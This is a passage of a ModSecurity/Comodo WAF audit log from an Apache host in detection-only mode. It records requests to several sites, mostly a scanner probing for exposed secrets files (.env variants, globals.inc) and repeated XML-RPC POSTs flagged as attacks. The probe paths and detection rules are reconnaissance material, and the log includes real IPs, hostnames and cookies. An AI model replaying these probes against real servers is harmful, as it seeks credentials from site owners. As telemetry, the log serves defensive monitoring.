p4=35, p5=64, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82076462-Z-- --d07c5f4b-A-- [16/Jun/2025:05:42:10.645322 +0530] aE9hWfbo0R64L12N_alSeQAAAAQ 116.240.60.159 39340 127.0.0.1 7081 --d07c5f4b-B-- POST /?ob=open-bridge/events HTTP/1.0 Host: www.retaxis.com X-Real-IP: 116.240.60.159 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 380 accept-language: en-US,en;q=0.5 content-type: text/plain;charset=UTF-8 origin: https://www.retaxis.com user-agent: Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.1541.1185 Mobile Safari/537.36 accept: */* sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://www.retaxis.com/ accept-encoding: gzip, deflate, br cookie: _sfs_id=c45713cd3653d18f37e85efa259514571750032722; _ga_PETSZCXF5J=GS2.1.s1750032728$o1$g0$t1750032728$j60$l0$h0; _ga=GA1.1.1751922446.1750032728; _fbp=fb.1.1750032729314.844608644414750306 --d07c5f4b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.2.28 Vary: Origin,Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Access-Control-Allow-Origin: https://www.retaxis.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Set-Cookie: PHPSESSID=isb1k4fg4j9sbi1pql4dj4p654; expires=Sun, 14 Sep 2025 00:12:10 GMT; Max-Age=7776000; path=/; domain=www.retaxis.com; HttpOnly; SameSite=lax Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --d07c5f4b-E-- --d07c5f4b-H-- Message: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Message: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.retaxis.com|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.retaxis.com"] [uri "/"] [unique_id "aE9hWfbo0R64L12N_alSeQAAAAQ"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator GE matched 5 at TX:incoming_points. [file "/etc/apache2/modsecurity.d/rules/comodo_free/20_Outgoing_FiltersEnd.conf"] [line "35"] [id "214930"] [rev "1"] [msg "COMODO WAF: Inbound Points Exceeded|Total Incoming Points: 5|www.retaxis.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "FiltersEnd"] [hostname "www.retaxis.com"] [uri "/index.php"] [unique_id "aE9hWfbo0R64L12N_alSeQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/retaxis.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032729619239 1026240 (- - -) Stopwatch2: 1750032729619239 1026240; combined=3768, p1=423, p2=2960, p3=155, p4=49, p5=181, sr=142, sw=0, l=0, gc=0 Response-Body-Transformed: Dechunked Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache WebApp-Info: "default" "1750032728" "-" Engine-Mode: "DETECTION_ONLY" --d07c5f4b-Z-- --8918c428-A-- [16/Jun/2025:05:42:15.600189 +0530] aE9hXvbo0R64L12N_alSewAAAAQ 128.199.112.101 39602 127.0.0.1 7081 --8918c428-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8918c428-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8918c428-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9hXvbo0R64L12N_alSewAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032734627660 972604 (- - -) Stopwatch2: 1750032734627660 972604; combined=2402, p1=377, p2=1570, p3=41, p4=65, p5=244, sr=111, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8918c428-Z-- --645a0766-A-- [16/Jun/2025:05:42:31.347678 +0530] aE9hbj_3U3BzRxhKqeknUgAAAAM 185.177.72.210 45174 127.0.0.1 7081 --645a0766-B-- GET /:10000/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --645a0766-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3d443f5cddd415030278a277d2d6c2d11750032751; expires=Mon, 16 Jun 2025 01:12:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --645a0766-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/examples/.env"] [unique_id "aE9hbj_3U3BzRxhKqeknUgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032750613141 734599 (- - -) Stopwatch2: 1750032750613141 734599; combined=1825, p1=360, p2=1387, p3=0, p4=0, p5=77, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --645a0766-Z-- --4e5aa663-A-- [16/Jun/2025:05:42:34.411763 +0530] aE9hcT_3U3BzRxhKqeknVAAAAAM 185.177.72.210 45360 127.0.0.1 7081 --4e5aa663-B-- GET /.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e5aa663-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=52d6c18fb0805085bdd9c071ac1588461750032754; expires=Mon, 16 Jun 2025 01:12:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e5aa663-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.back"] [unique_id "aE9hcT_3U3BzRxhKqeknVAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032753750683 661156 (- - -) Stopwatch2: 1750032753750683 661156; combined=2213, p1=404, p2=1708, p3=0, p4=0, p5=101, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e5aa663-Z-- --0938be72-A-- [16/Jun/2025:05:42:37.627780 +0530] aE9hdPthHqQhfrOWofuMWgAAAAA 185.177.72.210 45604 127.0.0.1 7081 --0938be72-B-- GET /secure/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0938be72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd04f4fe3628d51ae99c76a88f9b36321750032757; expires=Mon, 16 Jun 2025 01:12:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0938be72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.dev"] [unique_id "aE9hdPthHqQhfrOWofuMWgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032756976174 651682 (- - -) Stopwatch2: 1750032756976174 651682; combined=1720, p1=381, p2=1241, p3=0, p4=0, p5=97, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0938be72-Z-- --2dcd025a-A-- [16/Jun/2025:05:42:40.891192 +0530] aE9hePbo0R64L12N_alSjAAAAAQ 185.177.72.210 44398 127.0.0.1 7081 --2dcd025a-B-- GET /:5000/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2dcd025a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c2c21ec35f2d7851fa0a736db0f2a591750032760; expires=Mon, 16 Jun 2025 01:12:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2dcd025a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/test/.env"] [unique_id "aE9hePbo0R64L12N_alSjAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032760128606 762649 (- - -) Stopwatch2: 1750032760128606 762649; combined=1970, p1=365, p2=1499, p3=0, p4=0, p5=105, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2dcd025a-Z-- --6c538739-A-- [16/Jun/2025:05:42:45.274259 +0530] aE9hfNNEcm-DhAkC0ibaFAAAAAY 185.177.72.210 44638 127.0.0.1 7081 --6c538739-B-- GET /:8008/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6c538739-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a2280b1221169acd85f46b7dcb0116f1750032765; expires=Mon, 16 Jun 2025 01:12:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6c538739-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.bak"] [unique_id "aE9hfNNEcm-DhAkC0ibaFAAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.bak"] [unique_id "aE9hfNNEcm-DhAkC0ibaFAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032764453310 821024 (- - -) Stopwatch2: 1750032764453310 821024; combined=1951, p1=380, p2=1440, p3=0, p4=0, p5=130, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6c538739-Z-- --8cc97a1b-A-- [16/Jun/2025:05:43:06.710514 +0530] aE9hktVsbyFDndheOrky4gAAAAE 185.177.72.210 54052 127.0.0.1 7081 --8cc97a1b-B-- GET /globals.inc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8cc97a1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=350714d275b46a2e43318d18447d10a51750032786; expires=Mon, 16 Jun 2025 01:13:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8cc97a1b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/globals.inc"] [unique_id "aE9hktVsbyFDndheOrky4gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032786046502 664085 (- - -) Stopwatch2: 1750032786046502 664085; combined=1530, p1=331, p2=1098, p3=0, p4=0, p5=100, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8cc97a1b-Z-- --3a01831c-A-- [16/Jun/2025:05:43:12.249393 +0530] aE9hl9VsbyFDndheOrky6gAAAAE 185.177.72.210 54104 127.0.0.1 7081 --3a01831c-B-- GET /.env.production.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a01831c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d10727a0112f069f3865e20f240443c1750032791; expires=Mon, 16 Jun 2025 01:13:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a01831c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.production.local"] [unique_id "aE9hl9VsbyFDndheOrky6gAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032791414788 834699 (- - -) Stopwatch2: 1750032791414788 834699; combined=201021, p1=471, p2=1840, p3=0, p4=0, p5=99429, sr=109, sw=1, l=0, gc=99280 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a01831c-Z-- --f0a29145-A-- [16/Jun/2025:05:43:15.588478 +0530] aE9hmq9aeHfzqoyJ7PMhugAAABY 128.199.112.101 54298 127.0.0.1 7081 --f0a29145-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f0a29145-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f0a29145-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9hmq9aeHfzqoyJ7PMhugAAABY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032794604888 983645 (- - -) Stopwatch2: 1750032794604888 983645; combined=2449, p1=414, p2=1590, p3=42, p4=81, p5=195, sr=104, sw=127, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f0a29145-Z-- --081bf602-A-- [16/Jun/2025:05:43:19.494470 +0530] aE9hntNEcm-DhAkC0ibaLgAAAAY 185.177.72.210 54538 127.0.0.1 7081 --081bf602-B-- GET /:8880/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --081bf602-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=69c6e901eb8bc7421d84cafc3c3396001750032799; expires=Mon, 16 Jun 2025 01:13:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --081bf602-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.copy"] [unique_id "aE9hntNEcm-DhAkC0ibaLgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032798811877 682655 (- - -) Stopwatch2: 1750032798811877 682655; combined=1881, p1=392, p2=1397, p3=0, p4=0, p5=92, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --081bf602-Z-- --90752045-A-- [16/Jun/2025:05:43:20.488614 +0530] aE9hn_bo0R64L12N_alSqAAAAAQ 185.177.72.210 39948 127.0.0.1 7081 --90752045-B-- GET /:8880/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --90752045-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=14eee162c1a184c7d454f58517a221e61750032800; expires=Mon, 16 Jun 2025 01:13:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --90752045-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/docs/.env"] [unique_id "aE9hn_bo0R64L12N_alSqAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032799831350 657328 (- - -) Stopwatch2: 1750032799831350 657328; combined=1801, p1=364, p2=1331, p3=0, p4=0, p5=106, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --90752045-Z-- --0f387727-A-- [16/Jun/2025:05:43:22.502779 +0530] aE9hoT_3U3BzRxhKqekndwAAAAM 185.177.72.210 40090 127.0.0.1 7081 --0f387727-B-- GET /:9000/site/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f387727-F-- HTTP/1.1 404 Not Found 